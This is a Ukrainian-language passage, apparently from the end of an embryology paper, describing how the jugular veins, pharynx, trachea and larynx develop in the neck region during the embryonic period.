розвитку із краніальної ділянки передньої кардинальної вени формуються внутрішня і зовнішні яремні вени.Висновки. Наприкінці зародкового періоду розвитку чіткого відмежування глотки і трахеї не спостерігається, оскільки вони оточені спільним шаром мезенхіми. Гортань представлена потовщенням мезенхіми, розташованої безпосередньо біля входу в дихальну трубку. Основні вени шиї формуються із передніх кардинальних вен